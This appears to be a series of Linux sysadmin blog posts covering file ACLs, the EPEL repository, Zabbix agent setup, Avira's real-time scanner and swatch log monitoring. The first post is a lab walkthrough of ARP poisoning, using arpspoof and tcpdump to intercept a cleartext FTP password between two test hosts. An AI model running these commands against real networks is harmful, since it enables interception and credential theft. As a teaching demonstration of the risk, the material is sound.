ARP poisoning (I)

From a long time, I wanted to write some article about this issue. I think that people are not aware of the potential risks when they connect to a public network, such as inside an airport, library, pub and so on, even the own office network.

Many times I have heard: it is not not such a big deal, you know what? I have a good antivirus which protects my computer! And on top of all that, the Windows firewall is activated! At that moment is when I put poker face...

Most of the administrators think that by having a well-configured firewall, an IDS, an antivirus, etc., is enough to shield the network from external threats, but it turns out that around 70 or 80 percent of all attacks come from the own internal network.

Please, note that the things which I am going to explain throughout these articles, can be a cause of crime, so you will be the last responsible if you put them into action with bad intentions. The reason because I want to tell this is, on the one hand, due to it is good that you know the danger of connecting to an unreliable network, and on the other, because I will take advantage of this in order to show you how to avoid it.

To begin with, let's get started by saying how ARP works (Address Resolution Protocol). Basically, this protocol is used to associate MAC and IP addresses.

For example, one computer wants to know the MAC address of a router. In this case, that computer gives off a message to the network by asking who has the IP address of that router (ARP request). Then, only the router responds to the computer with its MAC address (ARP reply).

Hereafter, the computer stores into its MAC table (temporary) the IP and MAC address of the router. ARP poisoning, as its name suggests, is to manipulate the MAC table of the victim by injecting fake ARP packets.

What kind of attacks can derive from this situation? For instance, the well-known Man in the Middle attack (MitM).

Below you can see the environment which I will hold for my tests. Victim and attacker are an Ubuntu 10.11, and ubuntu-server is an Ubuntu Server 11.10 release.

In my first case, I am going to put the attacker computer intercepting all communications between ubuntu-server and victim. To be more precise, the victim will connect to a FTP service installed on ubuntu-server and the attacker will try to capture the password. Remember this sort of protocol, also such as HTTP, SMTP, POP3, etc., the credentials are passed down in clear.

So that the attacker node can work as a tranparent bridge, the IP forwarding must be enabled on it. Furthermore, we have to install the dsniff package which contains the arpspoof tool, program that will be used to poison both computers (client and server).

root@attacker:~# echo 1 > /proc/sys/net/ipv4/ip_forward

root@attacker:~# aptitude install dsniff

Let's take a look at their ARP tables before modifying them. As you may appreciate, both computers have registered the correct MAC addresses.

javi@ubuntu-server:~$ arp -a
? (192.168.1.1) at 00:60:b3:50:ab:45 [ether] on eth0
? (192.168.1.10) at 00:0c:29:69:81:47 [ether] on eth0

javi@victim:~$ arp -a
? (192.168.1.1) at 00:60:b3:50:ab:45 [ether] on eth0
? (192.168.1.11) at 00:0c:29:18:36:e6 [ether] on eth0

Next step is to alter those tables by transmitting fake ARP frames.

root@attacker:~# arpspoof -i eth0 -t 192.168.1.10 192.168.1.11
0:c:29:20:9f:9b 0:c:29:69:81:47 0806 42: arp reply 192.168.1.11 is-at 0:c:29:20:9f:9b
...

root@attacker:~# arpspoof -i eth0 -t 192.168.1.11 192.168.1.10
0:c:29:20:9f:9b 0:c:29:18:36:e6 0806 42: arp reply 192.168.1.10 is-at 0:c:29:20:9f:9b
...

If we output the ARP tables again, we can see that the entries have been changed.

javi@ubuntu-server:~$ arp -a
? (192.168.1.20) at 00:0c:29:20:9f:9b [ether] on eth0
? (192.168.1.1) at 00:60:b3:50:ab:45 [ether] on eth0
? (192.168.1.10) at 00:0c:29:20:9f:9b [ether] on eth0

javi@victim:~$ arp -a
? (192.168.1.11) at 00:0c:29:20:9f:9b [ether] on eth0
? (192.168.1.1) at 00:60:b3:50:ab:45 [ether] on eth0
? (192.168.1.20) at 00:0c:29:20:9f:9b [ether] on eth0

At this point, the attacker is ready to sniff all traffic between the implicated nodes. To simplify the test, just the FTP data will be picked up. In this case, I am dumping all FTP packets within a text file with tcpdump, so as to be able to analyze them before with Wireshark. I could also use Wireshark directly by means of a filter.

root@attacker:~# tcpdump -ni eth0 port 21 -s0 -w ftp.pcap

Last step is to establish a FTP session between victim and ubuntu-server.

javi@victim:~$ ftp 192.168.1.11
Connected to 192.168.1.11.
220 (vsFTPd 2.3.2)
Name (192.168.1.11:javi): javi
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

Now we are going to open the captured file through Wireshark. As you can distinguish, the password has been catched.

In addition, if you follow the TCP stream, you will be able to find out that there are several retransmissions. That occurs because the attacker has to forward the TCP/IP packets. This sequence would come out as well if you run tcpdump on ubuntu-server.

And finally, also mention that if IP forwarding was not activated, we would be causing a Denial of Service attack (DoS), due to the communication would be cut out.

Access Control Lists (II)

In the preceding article about Access Control List, we saw how to grant permissions either on a file or directory for a particular user, and in addition, how to set those ones for new elements by default.

Now, we are going to give permissions to the nobody group and other users. Note that when you are applying ACLs for other users, it is like when you are handling the chmod command.

[root@centos logs]# setfacl -m g:nobody:-w- 002.log

[root@centos logs]# setfacl -m o:rw- 002.log

[root@centos logs]# getfacl 002.log 
# file: 002.log
# owner: root
# group: root
user::rw-
user:nobody:r-x
group::---
group:nobody:-w-
mask::rwx
other::rw-

In order to remove ACLs, we may delete them for a specific user, clear all entries or only get rid of the default ACLs.

[root@centos logs]# setfacl -x g:nobody 002.log

[root@centos /]# setfacl -R -b /logs

[root@centos /]# setfacl -k /logs

Other handy option for ACLs is to associate a mask with an ACL, that is to say, to establish real or effective permissions on a file or directory. In this case, we are limiting the permissions available on a file or directory. For instance, in the following case we are setting read, write and execution permissions for nobody user, but afterwards, we are also applying a mask of just execution.

[root@centos logs]# setfacl -m u:nobody:rwx 002.log

[root@centos logs]# setfacl -m m:--x 002.log

[root@centos logs]# getfacl 002.log
# file: 002.log
# owner: root
# group: root
user::rw-
user:nobody:rwx                 #effective:--x
group::---
mask::--x
other::rw-

Extra Packages for Enterprise Linux (EPEL)

Today I am going to fill you in on EPEL, a repository maintained by a Fedora group (made up by Red Hat engineers, volunteer community members, etc.) which offers a set of additional packages for Enterprise Linux distributions, such as RHEL, CentOS, Scientific Linux and so on.

For instance, when you purchase a license for RHEL, Red Hat guarantees you support for a series of packages included within its repositories, but other many applications are not provided through them.

Thereby, you have got several options to install packages not located into the official repositories, such as grabbing them from RPM PBone. But another smart option is to set up on your machine, an EPEL repository, whereby you will have high quality add-on packages which will complement your system.

EPEL packages are built from the equivalent ones in Fedora project and they are updated as far as the corresponding RHEL release is supported.

There are EPEL repositories for RHEL4, RHEL5 and RHEL6 (they are too valid for their derived). For my tests, I am going to use a CentOS 6.0 distro where I will install the appropiate 'epel-release' package. By default, only the stable EPEL repository is enabled. Later, you might enable testing and not yet considered stable repositories (I don't recommend it).

[root@centos ~]# rpm -ivh http://download.fedoraproject.org/pub/epel/6/i386/epel-release-6-5.noarch.rpm

[root@centos ~]# ls -l /etc/yum.repos.d/epel*
-rw-r--r--. 1 root root  957 oct 12  2010 /etc/yum.repos.d/epel.repo
-rw-r--r--. 1 root root 1056 oct 12  2010 /etc/yum.repos.d/epel-testing.repo

How can we check out if a package comes from EPEL?

[root@centos ~]# yum install keychecker

[root@centos ~]# keychecker httpd
CentOS-6 Key (CentOS 6 Official Signing Key)
--------------------------------------------
httpd-2.2.15-5.el6.centos.i686

[root@centos ~]# keychecker keychecker
EPEL (6)
--------
keychecker-0.2-2.el6.noarch

Other way is by using yum.

[root@centos ~]# yum info htop
...
Repo       : epel
Summary    : Interactive process viewer
...

Access Control Lists (I)

One month ago I had to publish the log files of one application at work. The log directory had to be accessible by the development team (they use Windows). Also say that the application runs on CentOS 6.0

No problem. I shared the directory through Samba and granted access to the guest user (on Linux, this is translated to the nobody user).

[root@centos ~]# cat /etc/samba/smb.conf 
[global]
        security      = user
        map to guest  = bad user
        guest account = nobody

[logs]
        path     = /logs
        readonly = yes
        guest ok = yes

Later I was warned that certain files could not be read. By taking a look at it, I could see that some files were been created with wrong permissions.

[root@centos ~]# ls -l /logs/
total 6148
-rw-------. 1 root root 4730880 oct  4 11:37 001.log
-rw-------. 1 root root 1564672 oct  4 11:37 002.log

As you can appreciate, the files just could be read by the owner, in this case root. This was the second problem: the application ran as root and of course, I could not allow access by means of this user.

We opened a ticket to the support center, in order to find out if it were possible to force the program to create the log files with other permissions. The response was fantastic: set up a cron task so as to change them periodically. As I usually say... a real botched.

Fortunately, Linux is a great operating system which if you know it in depth, you will be able to solve problems in different ways.

I sized up the situation and I decided that the best option was to set an ACL (Access Control List). With ACLs, you can give selected users, read, write and execute permissions on a specific file or directory.

First up, you need to have configured the target filesystem with the acl option.

[root@centos ~]# mount -o remount,acl /

[root@centos ~]# cat /etc/fstab
/dev/mapper/vg_centos-lv_root   /       ext4    defaults,acl    1 1
...

Then, you must grant the nobody user, read and execute permissions on all elements of the directory and besides, new files or directories created within it, will also have this ACL by default.

[root@centos ~]# setfacl -R -m u:nobody:r-x /logs

[root@centos ~]# setfacl -d -R -m u:nobody:r-x /logs

In this manner, when a user logs on via Samba (guest user), will be able to read the files. Let's get now the full permissions from any of the files included into the logs directory.

[root@centos ~]# getfacl /logs/001.log
# file: logs/001.log
# owner: root
# group: root
user::rw-
user:nobody:r-x
group::---
mask::r-x
other::---

As you can see above, apart from root, the nobody user can also read the file.

It may seem incredible but ACLs are not well known. I have seen throughout my professional life, authentic disasters by applying permissions on files, mainly due to ignorance of the administrators.

And as you have been able to learn, ACLs are an elegant way to handle the file permissions. Next week I will end up this article with other stuff that you can perform with ACLs.

Zabbix client installation on Ubuntu

Through this article, I wanted to write down how to set up the Zabbix client from its source code on Ubuntu distributions. Some time ago I posted a similar article but utilizing a CentOS host. For this case, I am going to accomplish the same task but choosing an Ubuntu Server 11.04 and Zabbix 1.8.7.

First of all, we need to download the source code from the Zabbix web site and decompress it inside the server. We must have installed too the build-essential package, so as to be able to compile the Zabbix client.

root@ubuntu-server:~# aptitude install build-essential

root@ubuntu-server:~/zabbix-1.8.7# ./configure --enable-agent

root@ubuntu-server:~/zabbix-1.8.7# make ; make install

Once we have correctly compiled and installed the Zabbix agent, next step is to create the appropiate directories, copy the configuration files and add a new user to the system called zabbix.

root@ubuntu-server:~/zabbix-1.8.7# mkdir -p /etc/zabbix/alert.d /var/log/zabbix /var/run/zabbix

root@ubuntu-server:~/zabbix-1.8.7# cp -a misc/conf/zabbix_agentd.conf /etc/zabbix/

root@ubuntu-server:~/zabbix-1.8.7# cp misc/init.d/ubuntu/zabbix-agent.conf /etc/init/

root@ubuntu-server:~/zabbix-1.8.7# useradd -r -d /var/run/zabbix -s /sbin/nologin zabbix

root@ubuntu-server:~/zabbix-1.8.7# chown zabbix:zabbix /var/run/zabbix /var/log/zabbix

Afterwards, we must edit the minimum information required for the Zabbix agent configuration file and in addition, it is also neccesary to establish an Upstart file for starting up and stopping the Zabbix agent service.

root@ubuntu-server:~# cat /etc/zabbix/zabbix_agentd.conf
...
# Zabbix client PID file
PidFile=/var/run/zabbix/zabbix_agentd.pid

# Zabbix client log file
LogFile=/var/log/zabbix/zabbix_agentd.log

# Allow remote commands from zabbix server
EnableRemoteCommands=1

# Maximum time for processing
Timeout=10

# System hostname
Hostname=ubuntu

# Zabbix server IP
Server=192.168.1.100


root@ubuntu-server:~# cat /etc/init/zabbix-agent.conf
# Start zabbix agent

pre-start script
   if [ ! -d /var/run/zabbix ]; then
           mkdir -p /var/run/zabbix
           chown zabbix:zabbix /var/run/zabbix
   fi
end script

start on filesystem
stop on starting shutdown
respawn
expect daemon
exec /usr/local/sbin/zabbix_agentd

The last point is to register the ports used by Zabbix into the services file and run the agent.

root@ubuntu-server:~# echo "zabbix-agent    10050/tcp  Zabbix Agent"   >> /etc/services
root@ubuntu-server:~# echo "zabbix-agent    10050/udp  Zabbix Agent"   >> /etc/services
root@ubuntu-server:~# echo "zabbix-trapper  10051/tcp  Zabbix Trapper" >> /etc/services
root@ubuntu-server:~# echo "zabbix-trapper  10051/udp  Zabbix Trapper" >> /etc/services


root@ubuntu-server:~# start zabbix-agent

Avira AntiVir Personal on Linux (IV)

With this post, I am going to end up the series of articles about Avira Antivir Personal on Linux. So, let's take a look at one of its more important modules: AntiVir Guard.

AntiVir Guard takes care of scanning and protecting a filesystem on real-time, that is to say, a virus will be detected before accessing on it. How does it work? All directories which we want to protect by AntiVir Guard, will be mounted through DazukoFS module, previously compiled and inserted into the kernel.

[root@centos ~]# cat /etc/fstab
...
/home    /home    dazukofs 

AntiVir Guard (avguard) can be handled either by means of the avguard command or as an init daemon. In this article, I am going to focus on the second option, since it's most useful and handy.

Thereby, we have to set it up by editing its configuration file (/etc/avira/avguard.conf). Below I am going to note the most important features.

[root@centos ~]# vi /etc/avira/avguard.conf
...
# It will try to delete the problem from the infected file (by default is disabled).
# If the repair fails, the AlertAction is carried out.
RepairConcerningFiles

# Once a virus is detected, the access to the file is blocked and the action is logged.
# This allows you to specify an additional action to be followed for the concerning file.
# none or ignore: no further action (by default).
# rename or ren: rename the file by adding the .XXX extension.
# delete or del: delete the concerning file.
# quarantine: move the concerning file into quarantine.
AlertAction delete

# If quarantine option is selected, the infected files are moved into it.
QuarantineDirectory /home/quarantine

# Types of files to be scanned.
# extlist: scan only files with certain extensions.
# smart: scan files based on both their name and content.
# all: scan all files (by default).
ScanMode all

# File where all important operations are logged.
LogFile /var/log/avguard.log

# Detection of harmful or unwanted software (dial-up programs, jokes, faked emails, etc.).
# With the 'alltypes' option, all supported malware types will be detected.
DetectPrefixes adspy=yes appl=no bdc=yes dial=yes game=no joke=no pck=no phish=yes spr=no

# Activate the heuristics for macro virus in office documents.
# [yes (by default) | no].
HeuristicsMacro yes

# Set the level of heuristic detection in all types of files.
# Available values are 0 (off), 1 (low - by default), 2 (medium) and 3 (high).
HeuristicsLevel 2


[root@centos home]# /etc/init.d/avguard restart

To check it out, we are going to download the EICAR file into the /home directory and try out to dump it.

[root@centos home]# wget https://secure.eicar.org/eicar.com.txt

[root@centos home]# cat eicar.com.txt 
cat: eicar.com.txt: Operation not supported

[root@centos home]# tail -f /var/log/avguard.log 
2011-09-18 18:52:48 centos.local avguard.bin[1396]: AVGU: ALERT AntiVir ALERT for file "/home/eicar.com.txt": Details:        Eicar-Test-Signature ; virus ; Contains code of the Eicar-Test-Signature virus
2011-09-18 18:52:48 centos.local avguard.bin[1396]: AVGU: INFO The concerning file /home/eicar.com.txt has been removed from disk.
2011-09-18 18:52:48 centos.local avguard.bin[1396]: AVGU: INFO Info: the alert in file /home/eicar.com.txt was handled. Action(s) taken: access denied, condition logged, file deleted

As you have been able to appreciate, the infected file has been removed when we have tried to read it. So imagine the amount of possibilities which turn out from this module, such as to analyze on-real time a file uploaded to a FTP or HTTP (WebDAV) server, or for instance, you might use tools like swatch in order to send an alert or execute a task.

Monitoring logs with swatch

Swatch is a GPL tool programmed in Perl which allows monitoring logs on real-time, and it is aimed to be able to execute an action when a certain situation takes place.

An application can register an event into a file as a result of an error, warning, etc., and at that moment, it may be interesting to restart the involved service or for instance, to send an email reporting the alarm, all automatically.

Here is where swatch turns up. You have got two ways to install it: either by means of the package which each distribution keeps in its repositories or directly by compiling the source code.

In the case of Ubuntu, the installation is really simple: aptitude install swatch. But in RHEL or CentOS, the package is not available in the official repositories of such distributions.

Therefore, in the present article I am going to develop the installation of swatch (3.2.3) on CentOS 6.0 (32 bits, minimal installation) by downloading and installing the suitable packages from RPM PBone Search.

[root@centos tmp]# rpm -i perl-Carp-Clan-6.03-2.el6.noarch.rpm
[root@centos tmp]# rpm -i perl-Bit-Vector-7.1-2.el6.i686.rpm
[root@centos tmp]# rpm -i perl-Date-Calc-6.3-2.el6.noarch.rpm
[root@centos tmp]# rpm -i perl-Date-Manip-5.54-4.el6.noarch.rpm 
[root@centos tmp]# rpm -i perl-TimeDate-1.16-11.1.el6.noarch.rpm
[root@centos tmp]# rpm -i perl-Time-HiRes-1.9721-115.el6.i686.rpm
[root@centos tmp]# rpm -i perl-File-Tail-0.99.3-8.el6.noarch.rpm
[root@centos tmp]# rpm -i perl-Mail-Sendmail-0.79-12.el6.noarch.rpm

[root@centos tmp]# rpm -i swatch-3.2.3-2.el6.noarch.rpm

So that swatch can send alarms by email, you have to install some kind of MTA (Mail Transfer Agent) on your system, such as Postfix.

[root@centos ~]# yum install postfix

[root@centos ~]# cat /etc/postfix/main.cf
...
# Internet hostname
myhostname = centos.local

# Local Internet domain name
mydomain = local

# Domain that locally-posted mail appears to come from
myorigin = $myhostname

# Network interface addresses to receive mail
inet_interfaces = all

# List of domains to consider itself the final destination
mydestination = $myhostname, localhost.$mydomain, localhost, $mydomain
...

[root@centos ~]# service postfix restart

[root@centos ~]# chkconfig postfix on

Through the following example, we will control the /var/log/secure file in order to detect the login of the user javi (we must look for the string "Accepted password for javi").

First of all, we have to create a directory to drop off the configuration files of swatch. Afterwards, we must set up a file with the needed instructions to log the access for the user javi.

[root@centos ~]# mkdir /etc/swatch

[root@centos ~]# cat /etc/swatch/swatch.conf
watchfor /Accepted password for javi/
        mail addresses=root\@centos.local,subject="Session opened by javi"

With the previous line, swatch will monitor the content of a concrete file which will be later given with the target of matching the requested string. When the coincidental text is found, an email will be passed down.

So as to start swatch, we must run the next command ('-t' option comes from the traditional 'tail -f'). If instead of using '-t' parameter, you add '-f', swatch would execute the defined configuration once and then, close the file. In this manner, the file is not open as in the case of a typical 'tail -f'.

[root@centos ~]# swatch -c /etc/swatch/swatch.conf -t /var/log/secure

Swatch has got other many options for its configuration file, such as outputting the matched pattern, sending a bell, executing commands and so on. The following example watches for a couple of strings.

[root@centos ~]# cat /etc/swatch/swatch.conf
watchfor /Accepted password for javi|Accepted password for pepe/
    echo=red